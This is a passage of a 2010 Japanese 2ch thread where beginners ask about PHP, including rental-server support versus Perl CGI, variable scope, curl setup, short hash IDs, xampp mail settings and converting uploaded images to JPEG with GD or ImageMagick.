0532nobodyさん2010/05/12(水) 15:54:50ID:???
>>528はCGIが何かわかってないんじゃないだろうか
0533nobodyさん2010/05/12(水) 15:57:19ID:???
CGI(Perl)
という表記でいろいろ理解できた。
0534nobodyさん2010/05/12(水) 15:59:04ID:A9U/FhEp
現実を知らないようだな
自分で設定出来れば何でも動くだろうが
レンタルサーバーではPHPの普及度の方が上
05355262010/05/12(水) 16:00:25ID:???
>>534
うん、今の時代のレンサバをしらないんだ。
好奇心から、PHPは使えるがPerlは使えないレンサバのサービス提供者を知りたいと思う。
0536nobodyさん2010/05/12(水) 16:01:06ID:???
ロリポしか使ったことないからどうでもいいや
05375262010/05/12(水) 16:01:53ID:???
ちなみにそれがありえないとは思っていなくて、Perlは元来HTTPを想定した言語じゃなかったから
CGIとして動作させるためにはやや煩雑な点があるので、初級者の混乱を避けるために
PHPへ誘導したい気持ちは分かるんだ。
0538nobodyさん2010/05/12(水) 16:02:50ID:A9U/FhEp
PHPのほうが安全と見なされてるんだろ。
マルチスレッド、バックグラウンドで動作せず
同じ事をやるならPHPの軽く負荷が少ない。
CGIは動かずPHPが動くのはそのせいでは。
CGI許可したらPHPも動くのはそのせいでは。
0539nobodyさん2010/05/12(水) 16:03:50ID:???
なんだと!
ってか今想定しているHTTPサーバを教えてくれ
0540nobodyさん2010/05/12(水) 16:04:57ID:???
で、例えばどこのレンタルサーバーがPHPのみ許可してるの?
ググってもどっちも許可しか見当たらないよぉ
0541nobodyさん2010/05/12(水) 16:06:37ID:???
http://server.dlink.info/lrn/65.html
CGIのみはあるけどPHPのみはないよぉ
0542nobodyさん2010/05/12(水) 16:08:29ID:A9U/FhEp
例
http://www.000webhost.com/

一覧から探してくれ
http://www.absolutely-free-hosting.com/free_hosts_01.php
http://www.free-webhosts.com/free-php-webhosting.php
0543nobodyさん2010/05/12(水) 16:09:20ID:???
>>531
鯖自体にPerlは入ってるのにExecCGIのせいでCGI使えない環境ならあるかな
そういうとこはPHP入れてないね

mod_phpが仕事してくれるのにシェルスクリプトやPerlで書いたCGIが動かないとこは知らない
0544nobodyさん2010/05/12(水) 16:11:22ID:???
>>542
なるほど。時代はPHPだな。
05455262010/05/12(水) 16:14:45ID:???
>>542
ありがとう。Perl使わないときに検討材料にさせてもらうよ
0546nobodyさん2010/05/12(水) 16:40:48ID:???
しかしPHPが一番とか言ってるやつは
何がそんなに良くて一番と言ってるんだ?
0547nobodyさん2010/05/12(水) 16:46:13ID:???
仕事量
情報量
ユーザ数
0548nobodyさん2010/05/12(水) 16:46:34ID:???
普及している=優れている という誤解
0549nobodyさん2010/05/12(水) 16:53:35ID:A9U/FhEp
ランキング上位はC言語系統の言語がしめる。


1 Java 17.482
2 C 16.215
3 PHP 10.071
4 C++ 9.709

人気プログラミング言語ランキング ‐ PHP、C++を抜いて3位
2010/01/12
http://journal.mycom.co.jp/news/2010/01/12/022/index.html
0550nobodyさん2010/05/12(水) 17:16:03ID:???
ユーザー数は多いが言語としてのセンスは最低だよな。
0551nobodyさん2010/05/12(水) 17:25:26ID:???
perlはperl好きというかLarry Wall好きが多いし、
rubyも言語仕様にひかれて開発陣になってる人が多いだろう(まつもとゆきひろ好きという人はいないよね?w)
一方phpの日本のコミッタは、仕事で一切php使わないし使いたくもないと言ってるw

嫌々使ってる人が結構いる面白い言語だ。
0552nobodyさん2010/05/12(水) 17:28:17ID:???
PHPが流行った一つは、スクリプト内にHTMLも混合して書けるってことだろうな。しかし使えば使うほどツマラン言語だよな。
0553nobodyさん2010/05/12(水) 17:34:45ID:???
PHPって変数の宣言を強制ってできないの?
0554nobodyさん2010/05/12(水) 17:48:56ID:???
>>553
宣言が必要ないからな・・・
一応、error_reportingでE_NOTICEを含めれば
未定義の変数を使おうとしたら、Notice: Undefined variable: エラーがでるようになる
0555nobodyさん2010/05/12(水) 20:20:47ID:???
とりあえずID:A9U/FhEpはPHPはいいから日本語を勉強してくださいw
0556nobodyさん2010/05/12(水) 20:48:49ID:???
<?php
$b = true;
if ($b) {
$s = "hoge";
}
echo $s;
?>

これが動くから気持ち悪いよな
0557nobodyさん2010/05/12(水) 21:18:16ID:???
へー
0558nobodyさん2010/05/12(水) 21:39:56ID:???
>>556
ん?
どこが気持ち悪いのか理解できないんだが
0559nobodyさん2010/05/12(水) 21:41:16ID:???
Web界のVBと聞いて手を出します
0560nobodyさん2010/05/12(水) 21:51:34ID:???
>>558
$sはグローバルスコープで定義されてない

<?php
$b = true;
if ($b) {
$s = "hoge";
echo $s;
}
?>

これなら気持ち悪くないけどな
0561nobodyさん2010/05/12(水) 22:09:47ID:???
じゃあそうすれば?
他の言語から来た人はすぐ気持ち悪いという。
0562nobodyさん2010/05/12(水) 22:20:36ID:???
グローバルで呼び出したいのなら、
<?php
$b = true;
$s;
if ($b) {
$s = "hoge";
}
echo $s;
?>
だな。

他の言語云々ではなくて、言語仕様として気持ち悪いということでしょ。
これじゃスコープの意味がないし。
0563nobodyさん2010/05/12(水) 22:32:51ID:???
PHPはいつからif文がブロックになったんだ
0564nobodyさん2010/05/12(水) 22:36:05ID:???
JavaScriptとかでも同じじゃない?
0565nobodyさん2010/05/12(水) 22:44:34ID:???
>>564
というよりインタプリタ全般かな
コンパイラ言語だとコンパイル時にエラー出るはず

PHPの場合初心者が扱いやすいように言語仕様をあえて適当にしてるから(多分…)
その辺も理解しないとね
0566nobodyさん2010/05/12(水) 22:54:26ID:???
PHPにはスコープがグローバルと関数しかありませんで済む話だな
ブロックスコープが欲しい奴はコミッタになるか他の言語でやれよという
0567nobodyさん2010/05/12(水) 23:00:54ID:???
コンパイラ言語しか知らないんでしょ。
マニュアルも読まないで語ってる時点で終わってるし。
0568nobodyさん2010/05/12(水) 23:18:22ID:???
きもちわるいといっただけでなぜに喧嘩腰www
0569nobodyさん2010/05/12(水) 23:23:32ID:???
信者というものはそういうもの
0570nobodyさん2010/05/12(水) 23:34:16ID:???
ん?global
これで解決すんだろ
ミジンコでもわかったわ
0571nobodyさん2010/05/12(水) 23:38:07ID:???
参照渡しにして下さい
0572nobodyさん2010/05/13(木) 00:03:08ID:???
>>568
スコープと文をごっちゃにして気持ち悪いといったアホに対して
何言ってるんだ的なレスしかなくね?
0573nobodyさん2010/05/13(木) 00:12:40ID:???
気持ち悪いは喧嘩腰じゃないんだ
言い訳に無理がありすぎる
0574nobodyさん2010/05/13(木) 00:36:09ID:gguhT7VA
質問:

PHP で、クラスの中からメンバ変数 x を参照するときは、
$this->x のようにします。

でもいちいち $this->… と書くとくどいし、
見通しが悪いコードになる。

これを回避する方法はありますか?
0575nobodyさん2010/05/13(木) 00:37:33ID:???
ないですよ
残念ながら仕様です
0576nobodyさん2010/05/13(木) 00:40:03ID:???
>>573
人物(例えばお前)に対して気持ち悪いといったならまだしも
PHPの仕様に対して気持ち悪いといったら喧嘩腰って・・・
あぁあなたはPHPの妖精さんでしたか
0577nobodyさん2010/05/13(木) 00:51:46ID:???
気持ち悪い
0578nobodyさん2010/05/13(木) 01:10:52ID:???
確かに気持ち悪いってのは分からんでもないな。
気持ち悪いだけならいいんだが、思わぬバグに悩むこともある。
でも楽だなって思うときも正直あるなー、初期化しなくていいとか。
0579nobodyさん2010/05/13(木) 01:22:01ID:???
気持ち悪いってのは甘えでしょ
0580nobodyさん2010/05/13(木) 01:33:32ID:???
えっ
0581nobodyさん2010/05/13(木) 02:27:26ID:???
>>576
お前のキーボード気持ち悪い
0582nobodyさん2010/05/13(木) 02:43:28ID:???
なんかBAKAがいますね^^;
0583nobodyさん2010/05/13(木) 02:54:24ID:???
いるね。
0584nobodyさん2010/05/13(木) 02:56:05ID:???
ブロックスコープより private static と $this-> の省略が欲しい
あと 配列/ハッシュの定義も
0585nobodyさん2010/05/13(木) 03:05:07ID:???
ソースコード公開されてるんだから独自拡張してしまいなさいよ
できないなら我慢して下さい
それでも変えたいと思うのならPHP開発チームのコミュに乗り込んで意見交換してきて下さい
英語できないなら我慢して下さい
0586nobodyさん2010/05/13(木) 04:32:03ID:g6nE4IPR
centos5にphp5.2.13が入っているのですが、curlが有効になっていません。
phpinfoのconfigure commandには、
'--with-curl=shared'
と書かれていますが、curlの項目はありません。
php.iniに
extension = php_curl.so
を追加して再起動してみましたが、変化ありません。
curlを有効にするにはどうしたらいいでしょうか?
0587nobodyさん2010/05/13(木) 04:41:57ID:???
php_curlをcurlにしたらokでした
0588nobodyさん2010/05/13(木) 12:42:53ID:Xm7v6t58
ワンタイムパスワードやクッキーIDに使われるuniqid()の説明に
md5(uniqid(mt_rand(), true)); と書きましょう。とありますが
みんながこのアルゴリズム使ってたらMD5だろうがSHA1だろうがハッシュかける意味なくはないでしょうか。
えらい人教えて
0589nobodyさん2010/05/13(木) 12:56:15ID:???
なんのこっちゃ
0590nobodyさん2010/05/13(木) 13:10:55ID:???
生成方法が分かってるからって
生成したID使って成りすましなんて現実的だと思ってるわけ?
echo uniqid(mt_rand(), true);やってみなよ
文字が1文字でも違えば合わないわけで
現在有効なセッションに対してタイムリーにあわせたものを送出するなんて不可能
確率的には天文学的数値になるわけで
仮に通ったらそれはもう仕方ないとしかいいようがない
0591nobodyさん2010/05/13(木) 13:23:47ID:???
PHPでページのウィンドウサイズを取得することは出来ますか?
05925912010/05/13(木) 13:24:27ID:DhKK8eQ9
ID出すの忘れてた・・・
0593nobodyさん2010/05/13(木) 13:35:00ID:???
無理です。
0594nobodyさん2010/05/13(木) 13:35:41ID:???
今のウインドウサイズをjavascriptで取得してPHPのページで受け取とるしかないのでは。
0595nobodyさん2010/05/13(木) 13:37:28ID:DhKK8eQ9
>>593-594
やはりjavascriptになってしまいますか・・・
回答ありがとうございました!
0596nobodyさん2010/05/13(木) 13:39:59ID:IJ7WPaYi
DBのnameフィールドに山田 太郎(山田次郎等スペースが開かないものも存在します)
があったとして
これを検索で山田太郎でも山田 太郎でもひっかかるようにするにはどうしたら
よいでしょうか?
山田と太郎に分けてlike文?等も考えたのですが、絶対真ん中にスペースがあるとも
限らないためどの様な関数を使えばいいのかわからずにこまっております。
0597nobodyさん2010/05/13(木) 13:46:38ID:Xm7v6t58
>>590
いや、だから成りすましができるかできないかじゃなくて
ハッシュする意味があるのかと
0598nobodyさん2010/05/13(木) 13:49:22ID:???
>>596
replace(name, ' ', '') = '山田太郎'
0599nobodyさん2010/05/13(木) 14:06:40ID:???
>>597
みんなが同じアルゴリズムとかわけわかんないこというからだろ
別にしたくないならしなくてもいいよ
0600nobodyさん2010/05/13(木) 15:11:39ID:???
>>597
ハッシュ化する意味は「生成後の値から生成前の値」を読み取れないようにすることだと思う。
今回の場合は既に乱数を生成してるからハッシュ化しても意味ないと思うけどね。
0601nobodyさん2010/05/13(木) 15:20:13ID:IJ7WPaYi
>>598
nameフィールドのデータをreplaceでスペースを取り除けるということでしょうか?
0602nobodyさん2010/05/13(木) 16:11:24ID:IJ7WPaYi
すみませんできました。
ありがとうございました
0603nobodyさん2010/05/13(木) 16:52:07ID:???
ご質問があります。
期間がきたら、個別のフォルダに飛ばすプログラムを作りたいのですが、

A. 2010年05月13日〜2010年05月20日 この期間は、x01フォルダに飛ぶ
B. 2010年05月23日〜2010年05月28日 この期間は、x02フォルダに飛ぶ
C. 2010年06月01日〜2010年06月10日 この期間は、x03フォルダに飛ぶ

このような処理を一つのファイルでやりたいのですが、
どうしても、どう条件式を書けばわかりません。
このような処理は可能でしょうか?
0604nobodyさん2010/05/13(木) 16:58:48ID:???
移動させたいの?
中身を表示させたいの?
0605nobodyさん2010/05/13(木) 16:59:15ID:???
>>603
日付を取得して、日付から振り分けるフォルダ取得。
その後に、header関数を使ってリダイレクトをかけるとか。
0606nobodyさん2010/05/13(木) 19:04:44ID:???
>>603
日付をmktime()して整数値に変換すれば、簡単な不等号演算で条件式を書けるよ。
間違っても年を比較して月を比較して日を比較して・・・とかしないように。
0607nobodyさん2010/05/13(木) 21:08:15ID:???
>>602
山田太 郎
も引っかかるようになるけどね。
0608nobodyさん2010/05/14(金) 19:13:12ID:4Ir7KJlR
PHPの基本的な関数なんだけど

文字列から特定の文字を検出して、3文字を取り出したいだけど
一回で出せる関数ってありますか?

あるかわからないからこんな風に書いているんだけど…

$str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';

$needle = 'CD';
$length = strlen($needle);
echo substr(strstr($str, $needle), $length, 3); // EFG

PHPのバージョンは問いません。


0609nobodyさん2010/05/14(金) 19:30:17ID:QXJzlvQt
WindowsAzureのスレってどこですか?
0610nobodyさん2010/05/14(金) 19:50:01ID:???
関数1個なら、正規表現使うしか……
0611nobodyさん2010/05/14(金) 21:50:49ID:LkLsmfmz
GDで画像に文字を埋め込むプログラムを作っているんですが、
文字が長い場合や画像の幅が狭い場合に文字が途中で切れてしまいます。

この場合、文字を全部表示するには
自分で座標計算をして改行をしてやらないといけないのでしょうか?

座標計算をしてくれるような関数やライブラリはありますか?

0612nobodyさん2010/05/14(金) 22:05:03ID:???
>>608
そのまま関数にしちゃえばいいと思う。
正規表現持ち出してもいいけど、そのほうが遅くなる、、、はず。たしか。
0613nobodyさん2010/05/14(金) 22:06:48ID:???
>>611
俺がやったときは描画後のサイズを取得して必要に応じて改行した。
ImageMagickならなんかあるのかもね。
あとは縮小して一行に表示するか
0614nobodyさん2010/05/14(金) 22:12:33ID:LkLsmfmz
>>613
レスありがとうございます。

座標計算してくれるようなありがたいライブラリは
なさそうですかね。

ImageMagickのことを忘れていました。
ちょっと調べてみます。
0615nobodyさん2010/05/14(金) 22:35:39ID:???
>>614
Captchaでそういうのあったはずだけどどこだったか忘れたな
0616nobodyさん2010/05/14(金) 23:18:02ID:LkLsmfmz
>>615
Captchaでっていうのは、
Captchaを作るプログラム内で座標計算をしていたってことでしょうか?
06176082010/05/14(金) 23:40:56ID:???
ありがトン。
0618nobodyさん2010/05/15(土) 09:43:07ID:WDq1xTWQ
任意の文字列から5文字くらいのハッシュ値を生成するような関数ってありますでしょうか?
携帯のUIDで識別してるんですが、UIDそのままだと長すぎたり問題があるので短い一意のものを作成できる関数や方法があれば教えていただければと思います。
0619nobodyさん2010/05/15(土) 10:18:40ID:???
例えばmd5の場合生成されるのは16進数の128ビット(32バイト)のハッシュになるけど、
これを16進数から0-9a-zA-Zの62進数に変換すればかなり短くなるんじゃない?
0620nobodyさん2010/05/15(土) 12:21:15ID:hwYoKufE
2の4乗と、2の6乗の差。
2/3の長さになるが、計算時間が掛かる。
1B = 8bitで4+4にはなるが、
6bitだと3Bを6+6+6+6と分けるしかない。
0621nobodyさん2010/05/15(土) 12:30:14ID:hwYoKufE
16進16文字を64進に直しても、11文字になるだけでまだ長いんでは?
そのまま8B数としてバイナリ保持すれば?
それでも8文字分必要になるが。
crc32やれば、4Bで4文字分だが。

0622nobodyさん2010/05/15(土) 13:02:37ID:???
IDのみでの認証というシステムをまず変えたほうがいいわ
5文字なんてブルートフォースですぐ破られるよ
06236182010/05/15(土) 15:32:47ID:WDq1xTWQ
みなさんありがとうございます。
>>619
進数増やしてちょっと試してみます。

>>620
小分けにして見ます。

>>621
バイナリ保持はおもいつきませんでした。試してみます。

>>622
さすがにブルートフォースされるほど認証きたら弾きますので・・・。
ブルートフォースが行えるようなところならたとえ100文字だったとしてもすぐに破られると思いますよ。
0624nobodyさん2010/05/15(土) 15:46:10ID:???
>100文字だったとしてもすぐに破られると思いますよ。
ねーよ
たとえ数字オンリーでスパコン使ってもそのコンビネーション計算するのに数年かかるだろうよ
俺らが使ってるレベルのPCだとまぁ生きてるうちに終わることはないだろうなw
膨大なネットワーク使った分散コンピューティングとかチートは除いて
0625nobodyさん2010/05/15(土) 16:41:41ID:???
元は端末IDだからバイト長はあんま関係ないんじゃね
端末ID使ってる時点でいろいろ懸念はあるが

10^100のブルートフォースどれくらいかかるんだろww
0626nobodyさん2010/05/15(土) 16:46:37ID:vKC+Ym+n
みんな安心しろ!
Perlを使うとメッセサンオーのようなシステムを構築できるらしい。
しかもお金を取れるぞ!
0627nobodyさん2010/05/15(土) 17:40:02ID:???
彼は100桁の数字とは言ってないぜ。
10^100どころか、256^100だ。
これがすぐ終わるのならレンホウも押し黙るしかないな。
0628nobodyさん2010/05/15(土) 19:59:01ID:???
phpが使えるレンタルサーバーでSQLite使えないケースってある?
0629nobodyさん2010/05/15(土) 20:44:55ID:???
>>1
0630nobodyさん2010/05/16(日) 02:54:25ID:???
>>628
ケースバイケースだね
0631nobodyさん2010/05/16(日) 03:16:25ID:???
有名所のレン鯖ならほとんどいけると思う。
0632nobodyさん2010/05/16(日) 03:32:57ID:???
phpinfoでSQLiteモジュールが入ってるか確認できる
0633nobodyさん2010/05/16(日) 03:48:15ID:???
>>630,631
あるのか。
経験上php使えればmysqlかsqliteは使えるもんだと思ってた。さんくす
0634nobodyさん2010/05/16(日) 09:37:41ID:???
ダメなほうの大手はphpがギリでdbは一切使えないとか平気である。
biglobeなんて有料のビジネスプランでもdb使えない。
0635nobodyさん2010/05/16(日) 11:13:57ID:OZUA2n95
2chのIDは何か関数使ってるんですか?
0636nobodyさん2010/05/16(日) 11:22:25ID:???
何を持って関数とするかだなぁ。
まぁ、関数は使ってるし、ソース公開してなかったっけ?PHPじゃないが。
0637nobodyさん2010/05/16(日) 11:29:32ID:OZUA2n95
単純にIPをハッシュ化するという単純なものではないってことですかね。
perlは触ったことないですが公開されているならちょっとソース見てきます。
0638nobodyさん2010/05/16(日) 11:30:03ID:???
独自に実装しているものだから関数で一発で出すものはないね。
日付とIPアドレスとか組み合わせてcrypt使ってるんだっけ?
0639nobodyさん2010/05/16(日) 12:02:29ID:???
昨日の5文字ハッシュの人だと思うけど、
2chの場合は匿名板なわけで衝突しても特に不具合はないわけだよ
md5をsubstrで5文字にしてもそうそうIDが重複するようなことはない
だけどもちろん重複する可能性はあるので
個人識別の目安とはなるけど完全に信頼できるようなものではないわけ
それでも困らないからそういう実装にしてる
0640nobodyさん2010/05/16(日) 13:21:08ID:???
2chのIDなんて発言者が区別できればいいから8文字しかないんだよ
8文字程度のハッシュを認証に使うなんてどうかしてる
0641nobodyさん2010/05/16(日) 13:50:04ID:???
実際2chのIDなんて割と重複するしね
0642nobodyさん2010/05/16(日) 18:28:06ID:???
今まで4回はIDかぶったことあるわ
ここ半年はかぶってないけど
0643nobodyさん2010/05/16(日) 18:55:41ID:BGJHjr5v
質問です。
xammp環境でメール送信したいんですが
php.ini
の設定の変更箇所なんですけど

SMTP = localhost
; http://php.net/smtp-port
smtp_port = 25

; For Win32 only.
; http://php.net/sendmail-from
sendmail_from = postmaster@localhost

にしています。
この設定でフォームの送信テストをmb_send_mailを使ってやってみました。
エラーとかはでないのですが指定したアドレスへメールが届きません。

sendmail_from = postmaster@localhost
が怪しいかなと思ってるんですがこれって
何を指定するところなんですか?
コメント外しただけでpostmaster@localhost
の部分は変更してないのですが・・・
0644nobodyさん2010/05/16(日) 19:53:41ID:???
smtp_port = 25
これがアウトなんじゃね?
あとはISPによってはSMTP閉じてたりする。
0645nobodyさん2010/05/16(日) 19:55:16ID:???
SMTP = localhostてなってるけどローカルでちゃんとSMTPサーバー動いてる?
0646nobodyさん2010/05/16(日) 20:24:07ID:???
require_onceの前に指定するファイルが存在するかチェックしたいのですが可能でしょうか?
どのような方法で行えばよいでしょうか?
0647nobodyさん2010/05/16(日) 20:29:20ID:???
http://php.net/manual/ja/function.is-file.php
0648nobodyさん2010/05/16(日) 20:39:10ID:???
>>647
あ、なるほど。
ありがとうございます!

簡単すぎて逆に盲点でした。
06496432010/05/16(日) 20:42:59ID:ytLKRNC9

ありがとうございます。
>>644
smtp_port = 25
これって適当に番号変えても大丈夫ですか?
>>645
phpinfoで見たら
SMTP localhostになってるんで動いてると思います。

レンサバのほうにファイルあげて動作確認してみたら動くので
ローカルのxammpのphpの設定に問題があるのはわかるんですが
0650nobodyさん2010/05/16(日) 20:47:03ID:FAWEq1cX
>>643
サブミッションポートでぐぐればいいと思うよ
0651nobodyさん2010/05/16(日) 21:57:49ID:???
うん。見た感じあなたがxammpのsmtp鯖を使うのは無理そうだから、
もっと簡単なsmtp鯖使いなさい。
0652nobodyさん2010/05/16(日) 22:19:07ID:???
2ch のIDはハッシュの先頭n桁だけ表示してるって
winny裁判であったような気がする
0653nobodyさん2010/05/17(月) 00:30:52ID:???
最近PHPマニュアルで検索したとき英語にならない?
0654nobodyさん2010/05/17(月) 01:29:55ID:???
>>653
俺だけかと思ってたわ
URLのenのとこjaに書き換えんのめんどいよな

0655nobodyさん2010/05/17(月) 01:59:55ID:???
ほんとだ。jp.php.net の検索フォームでも /en/ になるね

windows なら chm 版が超便利
インクリメントサーチできるし

自分でリコンパイルしなきゃならんがな!
0656nobodyさん2010/05/17(月) 02:27:15ID:???
>>654
view this page in [〜〜]のセレクトボックスを Japaneseにしたらいいよ
0657nobodyさん2010/05/17(月) 05:38:34ID:???
>>649
OP25Bでぐぐる
0658nobodyさん2010/05/17(月) 08:29:21ID:???
lang=jaを送ってるのに飛ばされてめんどいからユーザースクリプト書いた
http://loda.jp/script/?id=466
06596582010/05/17(月) 08:37:58ID:???
間違えた
http://loda.jp/script/?id=467
0660nobodyさん2010/05/17(月) 09:29:39ID:???
>>658
色々と酷い
0661nobodyさん2010/05/17(月) 09:30:34ID:???
つかこんなに短いコードでバグだらけって素直に尊敬するわwww
0662nobodyさん2010/05/17(月) 11:38:00ID:???
PHP勉強して文法とかある程度は理解して
フォームとかMySQLと組み合わせて掲示板、住所録的なものとか
作れるくらいにはなったんですが、次なにやればいんだろってかんじです。

本とかだとフレームワークよくのってますけど、必要ですか?
またサーバとかTCP/IPとかネットワーク系の本も読んだほうがよいのでしょうか。

目的としてはWEBのプログラマーになりたいと思ってんですが
学校は文系なのでまわりに詳しい人いないのでアドバイスよろしくお願いします。
もし読んどけ!って本があればそれも教えていただきたいです。
0663nobodyさん2010/05/17(月) 11:42:37ID:???
>>662
次はJavaScriptとFlashだな。
06646622010/05/17(月) 13:52:12ID:???
>>663
ありがとうございます。
ただECMA的なスクリプトはだいたいわかってるので
サーバサイドについて実践レベルくらいに詳しくなりたいです。
0665nobodyさん2010/05/17(月) 14:29:55ID:???
プログラムはだいたいできる程度でいいから
文系なら実践なんかより数学とか物理とかやっときな
社会人になってからだと勉強する時間はあんまとれないし
実践的なものは社会人になってから現場で鍛えていけばいいよ
文系なら何か資格の勉強するのもいいかもね
0666nobodyさん2010/05/17(月) 18:58:00ID:aPsK4hN3
こんにっちは
詳細ページをジャンル毎に使い分けたいのですが、どうすればいいですか?
0667nobodyさん2010/05/17(月) 19:05:01ID:???
そんな抽象的な質問でまわりが理解できると思ってるの?
0668nobodyさん2010/05/17(月) 21:10:37ID:???
ジャンルごとにスタイルシートを使い分けるのが楽かな
0669nobodyさん2010/05/17(月) 22:48:31ID:HFLOjP9Y
よろしくお願いします

Warning: simplexml_load_file() [function.simplexml-load-file]: ./xml.php:21: parser error : Start tag expected, '<' not found in /home/www/test.php on line 3
このエラーの原因はxml.php、test.phpのどちらにあるのでしょうか?
0670nobodyさん2010/05/17(月) 23:19:51ID:???
669ですが自己解決しました
06716622010/05/18(火) 00:18:35ID:???
>>665

とりあえず自分でなにかサイトとかいろいろ作ってみたいんで
実践というか、普通に業務用として通用するようなものを
作れるようになるには、なにを覚えていけばいいかということで書いてます。
0672nobodyさん2010/05/18(火) 01:02:17ID:???
>>671
APIで遊んでみるとか
0673nobodyさん2010/05/18(火) 01:03:07ID:???
実務で通用するにはってことだと思うけど
正直、基礎の部分とか数学的な知識やアルゴリズム、
この辺りを理解出来てるやつはやらせれば何でもできる感じがする。
0674nobodyさん2010/05/18(火) 01:20:24ID:bt8pZCnD
phpに出力幅を揃える関数はありますか?
cでいうsetw()のようなものです。
0675nobodyさん2010/05/18(火) 01:29:29ID:???
str_pad
sprintf
0676nobodyさん2010/05/18(火) 02:46:27ID:???
>>671
自分で作った掲示板や住所録をabとかにかけてパフォーマンスを測定してみる。
で、結果について検討してみる。
0677nobodyさん2010/05/18(火) 04:15:27ID:LkWXh4fo
質問です。
購入したphpでできたプログラムの一通りをサーバーにアップして、
install.phpを自分のドメイン/install.phpから実行すると、
includes/passwd.inc.php がありませんと出て、エラーになってしまいます。
CGIを設置できる位の知識しかない♀です。passwd.inc.phpは自分で作るのですか?
元ファイルの中にはどこにもないです…。
3日ほどにらめっこしているのですが、うまくいかなくて…
どなたか2千円位で設定代行していただけないでしょうか…?(泣)

[email protected]
0678nobodyさん2010/05/18(火) 04:48:37ID:???
>>677
自分で作るのかもしれない。
マニュアルか、INSTALLとかREADMEとかそういうファイルない?
それか、購入元に聞くのも手。
あと、製品名ぐらい挙げよう。
0679nobodyさん2010/05/18(火) 06:28:46ID:???
パスワードの設定ファイルなんだろうけど中身を編集することはあるかもしれないけど
自分で作らせることはありえないと思う
解凍忘れか何か見落としてるのかも
作者が入れるの忘れてる可能性もあるけど
0680nobodyさん2010/05/18(火) 08:48:07ID:4Is/EoN3
アップロードされたpngやbmp画像を全てjpgに変換したいのですが、
どうしたらいいでしょうか?
0681nobodyさん2010/05/18(火) 08:52:06ID:???
まずPHPをインストールします
06826802010/05/18(火) 08:54:58ID:???
いれています
バージョンは5.3です
0683nobodyさん2010/05/18(火) 09:15:11ID:???
execが使えるならコマンドラインから画像変換できる外部ソフトウェアを使うのが楽
GDが入ってたらGDを使うのも手
ttp://jp.php.net/manual/ja/function.imagejpeg.php
06846802010/05/18(火) 11:44:14ID:???
convertつかってみました!
でも、躓きました。。。。

if ($ext == "jpg") {
$src_image = imagecreatefromjpeg($upfile);

}elseif ($ext == "png") {
exec('convert $upfile $ababab');

$src_image = imagejpg($asasewq);
$src_image = imagecreatefromjpeg($upfile);
}elseif ($ext == "bmp") {
exec('convert $upfile $ababab');

$src_image = imagejpg($asasewq);
$src_image = imagecreatefromjpeg($upfile);
}

↓こういう事をやりたいのですけど、
exec('convert aaa.png bbb.jpg');
$upfileはリソース状態だし、$src_imageもリソースで出力しないとうまくいかないし・・・
どうしたらいいでしょうか
0685nobodyさん2010/05/18(火) 11:53:11ID:eHJncA6q
http://diary.flowind.jp/program/%EF%BD%90%EF%BD%88%EF%BD%90/flowind16.html
06866802010/05/18(火) 12:08:50ID:???
>>685
其れは試しましたけど、エラーが出て動きませぬですつД`)
0687nobodyさん2010/05/18(火) 13:45:50ID:???
-exec('convert $upfile $ababab');
+exec("convert $upfile $ababab");
06886802010/05/18(火) 14:26:30ID:???
if ($ext == "jpg") {
$src_image = imagecreatefromjpeg($upfile);

}elseif ($ext == "png") {

exec("convert $upfile $ababab");
$src_image = imagecreatefromjpeg($upfile);
}

無理でした
0689nobodyさん2010/05/18(火) 14:30:42ID:???
どういうエラーが出てるのか出力されてるなら書こうぜ
0690nobodyさん2010/05/18(火) 14:42:37ID:???
>>680
アップされたファイルはちゃんと処理しているんだよな?
0691nobodyさん2010/05/18(火) 14:54:51ID:???
>>680
Imagickでもいいんじゃね?
06926802010/05/18(火) 15:34:44ID:???
こんな感じです
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error(1)

Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: '/tmp/phpavLVhZ' is not a valid JPEG file in on line(2)


if ($ext == "jpg") {
$src_image = imagecreatefromjpeg($upfile);

}elseif ($ext == "png") {
// $src_image = imagecreatefrompng ($upfile);
exec("convert $upfile $ababab");

$src_image = imagecreatefromjpeg($upfile);
}elseif ($ext == "bmp") {
exec('convert $upfile $ababab');

$src_image = imagecreatefromjpeg($upfile);(1)(2)
}
0693nobodyさん2010/05/18(火) 15:55:36ID:???
で、それを読んでどう思ったの
0694nobodyさん2010/05/18(火) 15:58:33ID:???
ていうかGD使うならconvertコマンドいらなくない?

imagecreatefromxxxをしたらあとはそれをjpegで書き出すだけなんじゃ
0695nobodyさん2010/05/18(火) 16:08:03ID:???
<?php
header('Content-type: image/jpeg');

$ext = "png";
$filename = "hoge.png";
$img = null;

switch ($ext) {
case "png":
$img = imagecreatefrompng($filename);
break;
case "gif":
$img = imagecreatefromgif($filename);
break;
}

imagejpeg($img);
imagedestroy($img);
?>

pngしか確認してないがこんな感じで動いたぞ
0696nobodyさん2010/05/18(火) 16:10:00ID:???
$src_image使ってないからためしにやってみた程度なんじゃないのかな。
convert使うならわざわざ判定する必要ないし。

虻蜂取らずとはこのことか
06976802010/05/18(火) 16:55:43ID:???
あれ?すいません!pngはできました!
bmpがだめです、どうしましょう?
0698nobodyさん2010/05/18(火) 17:12:44ID:???
相変わらず情報が足りんね。
今はどんなコードになったの。
GD使うの、それともconvert使うの。
06996802010/05/18(火) 19:09:52ID:???
$src_image = imagecreatefromwbmp($upfile);
これがうまくいかないようです
bmpをうまくリソースとして扱うほうほうが分りません
0700nobodyさん2010/05/18(火) 19:14:06ID:???
なかなか学習しませんね
もしかしてアイちゃんですか?
07016802010/05/18(火) 19:19:04ID:???
exec("convert $upfile $src_image");
これでやっても駄目なんです つД`)・゚・。・゚゚・*:.。..。.:*・゚
どうしたらよいでしょうか
07026802010/05/18(火) 19:29:05ID:???
$src_image = imagecreatefromwbmp($upfile);
これだと↓のエラーがでます
Warning: imagecreatefromwbmp() [function.imagecreatefromwbmp]: '/tmp/php15jz5M' is not a valid WBMP file

exec("convert $upfile $src_image");
これはエラーは出ませんが、作用してません つД`)・゚・。・゚゚・*:.。..。.:*・
0703nobodyさん2010/05/18(火) 20:01:32ID:???
>>680
あんまり小出しにやるとスルーされる元だから自分でわかる情報は一気に全部だしなよ

http://www.php.net/manual/ja/function.imagecreatefromwbmp.php#13441
WBMP images are Wireless Bitmaps, not Windows Bitmaps.
0704nobodyさん2010/05/18(火) 20:13:24ID:???
http://www.php.net/manual/ja/function.imagecreate.php#53879
